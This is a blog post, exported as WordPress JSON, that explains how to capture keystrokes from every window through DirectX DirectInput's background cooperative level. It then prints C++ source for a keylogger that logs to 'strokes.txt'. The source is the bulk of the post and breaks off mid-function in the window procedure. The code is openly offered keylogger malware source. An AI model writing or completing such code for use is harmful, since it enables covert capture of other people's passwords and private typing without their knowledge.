{"id":1462,"date":"2017-07-25T02:52:46","date_gmt":"2017-07-25T02:52:46","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=1462"},"modified":"2017-07-25T02:52:46","modified_gmt":"2017-07-25T02:52:46","slug":"keylogger-using-directx","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2017\/07\/keylogger-using-directx\/","title":{"rendered":"KeyLogger using DirectX"},"content":{"rendered":"<p>Howdy!<\/p>\n<p>With that painful PIN crap behind me, I can finally be creative again. Today I wrote up a keylogger using C++ and DirectX. I normally dislike C++ because of the bloat, but DirectX and C don&#8217;t always play nicely. <\/p>\n<p>I&#8217;ve talked about keyloggers in the past, and even wrote one using <a href=\"https:\/\/www.gironsec.com\/blog\/2014\/03\/writing-your-own-keylogger-in-c\/\" target=\"_blank\">traditional means<\/a>. Traditionally,  one hooks all <a href=\nhttps:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms644927(v=vs.85).aspx\" target=\"_blank\">Window Messages<\/a>, specifically the KeyDown \/ KeyUp ones with a call to the <a href=\"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms644990(v=vs.85).aspx\" target=\"_blank\">SetWindowsHookEx<\/a> API. You write your program that makes use of the API up as a DLL file in order to be shared among other processes and hook all Window Message events. <\/p>\n<p>The DirectX method is a little different. <a href=\"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ee418273(v=vs.85).aspx\" target=\"_blank\">Direct Input<\/a> is an extension of DirectX that allows for precise control of the mouse, keyboard, and joysticks for use in graphics programming and games.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2017\/07\/1499818036788.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2017\/07\/1499818036788.jpg\" alt=\"\" width=\"460\" height=\"431\" class=\"alignnone size-full wp-image-1463\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2017\/07\/1499818036788.jpg 460w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2017\/07\/1499818036788-300x281.jpg 300w\" sizes=\"(max-width: 460px) 100vw, 460px\" \/><\/a><\/p>\n<p>Of particular interest is the <a href=\"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/microsoft.directx_sdk.idirectinputdevice8.idirectinputdevice8.setcooperativelevel(v=vs.85).asp\" target=\"_blank\">SetCooperativeLevel<\/a> method offered through the DirectInput method. The &#8216;flags&#8217; parameter of &#8216;DISCL_BACKGROUND&#8217; allows us to monitor all windows for activity. This means we don&#8217;t need a separate DLL to monitor all other windows &#8211; neato!<\/p>\n<p>Caveats, always with the caveats. The problem with using Direct Input to monitor key stokes is somewhat glaring: there is no distinction between capital and lowercase letters. Unlike traditional methods where we grab the scan code associated with the keystroke (wparam \/ lparam within WM_KEYDOWN \/ WM_KEYUP), we are limited to base letters. So we are trading off this lack of functionality for a lack of needing 2 files (main exe and dll). A fine trade. <\/p>\n<p>Now for some codes!<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #f8f8f8; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #000000\">include<\/span> <span style=\"color: #4e9a06\">&quot;stdafx.h&quot;<\/span>\r\n<span style=\"color: #8f5902; font-style: italic\">#include &quot;DirectX_fuckery.h&quot;<\/span>\r\n<span style=\"color: #8f5902; font-style: italic\">#include &lt;d3d9.h&gt;<\/span>\r\n<span style=\"color: #8f5902; font-style: italic\">#include &lt;d3dx9.h&gt;<\/span>\r\n<span style=\"color: #8f5902; font-style: italic\">#include &lt;dinput.h&gt;<\/span>\r\n<span style=\"color: #8f5902; font-style: italic\">#pragma comment (lib, &quot;d3dx9.lib&quot;)<\/span>\r\n<span style=\"color: #8f5902; font-style: italic\">#pragma comment (lib, &quot;d3d9.lib&quot;)<\/span>\r\n<span style=\"color: #8f5902; font-style: italic\">#pragma comment (lib, &quot;dinput8.lib&quot;)<\/span>\r\n<span style=\"color: #8f5902; font-style: italic\">#pragma comment (lib, &quot;dxguid.lib&quot;)<\/span>\r\n<span style=\"color: #8f5902; font-style: italic\">#include &lt;string&gt;<\/span>\r\n<span style=\"color: #8f5902; font-style: italic\">#include &lt;atlstr.h&gt;<\/span>\r\n\r\n<span style=\"color: #8f5902; font-style: italic\">#define MAX_LOADSTRING 100<\/span>\r\n\r\n<span style=\"color: #8f5902; font-style: italic\">\/\/ Global Variables:<\/span>\r\n<span style=\"color: #204a87; font-weight: bold\">using<\/span> <span style=\"color: #204a87; font-weight: bold\">namespace<\/span> <span style=\"color: #000000\">std<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\r\n\r\n<span style=\"color: #000000\">ofstream<\/span> <span style=\"color: #000000\">outfile<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n<span style=\"color: #000000\">HINSTANCE<\/span> <span style=\"color: #000000\">hInst<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\t\t\t\t\t\t\t\t<span style=\"color: #8f5902; font-style: italic\">\/\/ current instance<\/span>\r\n<span style=\"color: #000000\">TCHAR<\/span> <span style=\"color: #000000\">szTitle<\/span><span style=\"color: #000000; font-weight: bold\">[<\/span><span style=\"color: #000000\">MAX_LOADSTRING<\/span><span style=\"color: #000000; font-weight: bold\">];<\/span>\t\t\t\t\t<span style=\"color: #8f5902; font-style: italic\">\/\/ The title bar text<\/span>\r\n<span style=\"color: #000000\">TCHAR<\/span> <span style=\"color: #000000\">szWindowClass<\/span><span style=\"color: #000000; font-weight: bold\">[<\/span><span style=\"color: #000000\">MAX_LOADSTRING<\/span><span style=\"color: #000000; font-weight: bold\">];<\/span>\t\t\t<span style=\"color: #8f5902; font-style: italic\">\/\/ the main window class name<\/span>\r\n<span style=\"color: #000000\">LPDIRECTINPUT8<\/span>\t\t\t<span style=\"color: #000000\">din<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n<span style=\"color: #000000\">LPDIRECTINPUTDEVICE8<\/span>\t<span style=\"color: #000000\">dinkeyboard<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n<span style=\"color: #204a87; font-weight: bold\">static<\/span> <span style=\"color: #000000\">BYTE<\/span> <span style=\"color: #000000\">Keys<\/span><span style=\"color: #000000; font-weight: bold\">[<\/span><span style=\"color: #0000cf; font-weight: bold\">256<\/span><span style=\"color: #000000; font-weight: bold\">];<\/span>\r\n\r\n\r\n<span style=\"color: #8f5902; font-style: italic\">\/\/ Forward declarations of functions included in this code module:<\/span>\r\n<span style=\"color: #000000\">ATOM<\/span>\t\t\t\t<span style=\"color: #000000\">MyRegisterClass<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">HINSTANCE<\/span> <span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n<span style=\"color: #000000\">BOOL<\/span>\t\t\t\t<span style=\"color: #000000\">InitInstance<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">HINSTANCE<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #204a87; font-weight: bold\">int<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n<span style=\"color: #000000\">LRESULT<\/span> <span style=\"color: #000000\">CALLBACK<\/span>\t<span style=\"color: #000000\">WndProc<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">HWND<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">UINT<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">WPARAM<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">LPARAM<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n<span style=\"color: #000000\">INT_PTR<\/span> <span style=\"color: #000000\">CALLBACK<\/span>\t<span style=\"color: #000000\">About<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">HWND<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">UINT<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">WPARAM<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">LPARAM<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n<span style=\"color: #204a87; font-weight: bold\">void<\/span> <span style=\"color: #000000\">InitDirectInput<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">HINSTANCE<\/span> <span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">HWND<\/span> <span style=\"color: #000000\">gw<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n<span style=\"color: #204a87; font-weight: bold\">void<\/span> <span style=\"color: #000000\">GetKeys<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">BYTE<\/span><span style=\"color: #ce5c00; font-weight: bold\">*<\/span> <span style=\"color: #000000\">KeyState<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n<span style=\"color: #204a87; font-weight: bold\">void<\/span> <span style=\"color: #000000\">CloseDirectInput<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #204a87; font-weight: bold\">void<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n<span style=\"color: #000000\">string<\/span>  <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #204a87; font-weight: bold\">void<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\r\n\r\n<span style=\"color: #204a87; font-weight: bold\">bool<\/span> <span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #204a87; font-weight: bold\">int<\/span> <span style=\"color: #000000\">key<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n<span style=\"color: #8f5902; font-style: italic\">#define KEYDOWN(name, key) (name[key] &amp; 0x80)\t<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KEYDOWN<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">Keys<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">key<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span> <span style=\"color: #ce5c00; font-weight: bold\">!=<\/span> <span style=\"color: #0000cf; font-weight: bold\">0<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\r\n<span style=\"color: #204a87; font-weight: bold\">int<\/span> <span style=\"color: #000000\">APIENTRY<\/span> <span style=\"color: #000000\">_tWinMain<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">_In_<\/span> <span style=\"color: #000000\">HINSTANCE<\/span> <span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span>\r\n                     <span style=\"color: #000000\">_In_opt_<\/span> <span style=\"color: #000000\">HINSTANCE<\/span> <span style=\"color: #000000\">hPrevInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span>\r\n                     <span style=\"color: #000000\">_In_<\/span> <span style=\"color: #000000\">LPTSTR<\/span>    <span style=\"color: #000000\">lpCmdLine<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span>\r\n                     <span style=\"color: #000000\">_In_<\/span> <span style=\"color: #204a87; font-weight: bold\">int<\/span>       <span style=\"color: #000000\">nCmdShow<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t<span style=\"color: #000000\">UNREFERENCED_PARAMETER<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hPrevInstance<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #000000\">UNREFERENCED_PARAMETER<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">lpCmdLine<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\r\n\t<span style=\"color: #000000\">outfile<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">open<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #4e9a06\">&quot;strokes.txt&quot;<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span> <span style=\"color: #8f5902; font-style: italic\">\/\/ add location?<\/span>\r\n \t<span style=\"color: #8f5902; font-style: italic\">\/\/ TODO: Place code here.<\/span>\r\n\t<span style=\"color: #000000\">MSG<\/span> <span style=\"color: #000000\">msg<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">HACCEL<\/span> <span style=\"color: #000000\">hAccelTable<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\r\n\t<span style=\"color: #8f5902; font-style: italic\">\/\/ Initialize global strings<\/span>\r\n\t<span style=\"color: #000000\">LoadString<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">IDS_APP_TITLE<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">szTitle<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">MAX_LOADSTRING<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #000000\">LoadString<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">IDC_DIRECTX_FUCKERY<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">szWindowClass<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">MAX_LOADSTRING<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #000000\">MyRegisterClass<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\r\n\t<span style=\"color: #8f5902; font-style: italic\">\/\/ Perform application initialization:<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #ce5c00; font-weight: bold\">!<\/span><span style=\"color: #000000\">InitInstance<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">nCmdShow<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000\">FALSE<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t<span style=\"color: #000000\">hAccelTable<\/span> <span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">LoadAccelerators<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">MAKEINTRESOURCE<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">IDC_DIRECTX_FUCKERY<\/span><span style=\"color: #000000; font-weight: bold\">));<\/span>\r\n\t<span style=\"color: #8f5902; font-style: italic\">\/\/ Main message loop:<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">while<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">GetMessage<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">msg<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #204a87\">NULL<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #0000cf; font-weight: bold\">0<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #0000cf; font-weight: bold\">0<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #ce5c00; font-weight: bold\">!<\/span><span style=\"color: #000000\">TranslateAccelerator<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">msg<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">hwnd<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">hAccelTable<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">msg<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">TranslateMessage<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">msg<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t\t<span style=\"color: #000000\">DispatchMessage<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">msg<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\r\n\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #204a87; font-weight: bold\">int<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span> <span style=\"color: #000000\">msg<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">wParam<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\r\n<span style=\"color: #000000\">ATOM<\/span> <span style=\"color: #000000\">MyRegisterClass<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">HINSTANCE<\/span> <span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t<span style=\"color: #000000\">WNDCLASSEX<\/span> <span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">cbSize<\/span> <span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #204a87; font-weight: bold\">sizeof<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">WNDCLASSEX<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">style<\/span>\t\t\t<span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">CS_HREDRAW<\/span> <span style=\"color: #ce5c00; font-weight: bold\">|<\/span> <span style=\"color: #000000\">CS_VREDRAW<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">lpfnWndProc<\/span>\t<span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">WndProc<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">cbClsExtra<\/span>\t\t<span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #0000cf; font-weight: bold\">0<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">cbWndExtra<\/span>\t\t<span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #0000cf; font-weight: bold\">0<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">hInstance<\/span>\t\t<span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">hIcon<\/span>\t\t\t<span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">LoadIcon<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">MAKEINTRESOURCE<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">IDI_DIRECTX_FUCKERY<\/span><span style=\"color: #000000; font-weight: bold\">));<\/span>\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">hCursor<\/span>\t\t<span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">LoadCursor<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #204a87\">NULL<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">IDC_ARROW<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">hbrBackground<\/span>\t<span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">HBRUSH<\/span><span style=\"color: #000000; font-weight: bold\">)(<\/span><span style=\"color: #000000\">COLOR_WINDOW<\/span><span style=\"color: #ce5c00; font-weight: bold\">+<\/span><span style=\"color: #0000cf; font-weight: bold\">1<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">lpszMenuName<\/span>\t<span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">MAKEINTRESOURCE<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">IDC_DIRECTX_FUCKERY<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">lpszClassName<\/span>\t<span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">szWindowClass<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">hIconSm<\/span>\t\t<span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">LoadIcon<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">MAKEINTRESOURCE<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">IDI_SMALL<\/span><span style=\"color: #000000; font-weight: bold\">));<\/span>\r\n\r\n\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000\">RegisterClassEx<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">wcex<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\r\n<span style=\"color: #000000\">BOOL<\/span> <span style=\"color: #000000\">InitInstance<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">HINSTANCE<\/span> <span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #204a87; font-weight: bold\">int<\/span> <span style=\"color: #000000\">nCmdShow<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n   <span style=\"color: #000000\">HWND<\/span> <span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\r\n   <span style=\"color: #000000\">hInst<\/span> <span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span> \r\n\r\n   <span style=\"color: #000000\">hWnd<\/span> <span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">CreateWindow<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">szWindowClass<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">szTitle<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">WS_BORDER<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span>\r\n      <span style=\"color: #000000\">CW_USEDEFAULT<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #0000cf; font-weight: bold\">0<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #0000cf; font-weight: bold\">300<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #0000cf; font-weight: bold\">300<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #204a87\">NULL<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #204a87\">NULL<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #204a87\">NULL<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\r\n   <span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #ce5c00; font-weight: bold\">!<\/span><span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n   <span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n      <span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000\">FALSE<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n   <span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\r\n   <span style=\"color: #000000\">ShowWindow<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">nCmdShow<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n   <span style=\"color: #000000\">UpdateWindow<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n   <span style=\"color: #000000\">SetTimer<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #0000cf; font-weight: bold\">3809218<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #0000cf; font-weight: bold\">150<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">TIMERPROC<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span><span style=\"color: #204a87\">NULL<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n   <span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000\">TRUE<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\r\n<span style=\"color: #000000\">LRESULT<\/span> <span style=\"color: #000000\">CALLBACK<\/span> <span style=\"color: #000000\">WndProc<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">HWND<\/span> <span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">UINT<\/span> <span 